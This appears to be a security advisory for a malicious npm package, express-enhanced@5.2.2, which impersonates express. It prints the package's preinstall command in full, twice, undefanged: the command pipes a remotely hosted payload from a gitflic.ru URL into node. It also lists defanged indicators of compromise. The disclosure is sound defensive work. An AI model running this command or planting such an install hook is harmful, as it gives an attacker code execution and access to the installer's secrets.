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Malicious MAL-2026-17489

express-enhanced

npm package · versions 5.2.2

Reported Oct 3, 2026 · Updated Oct 5, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

express-enhanced@5.2.2 impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

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_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)
express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

Indicators of compromise

Shown defanged and not clickable. Search any indicator to find other packages using it.

URLs

  • hxxps://web[.]archive[.]org/web/hxxps://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js other packages →
  • hxxps://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js other packages →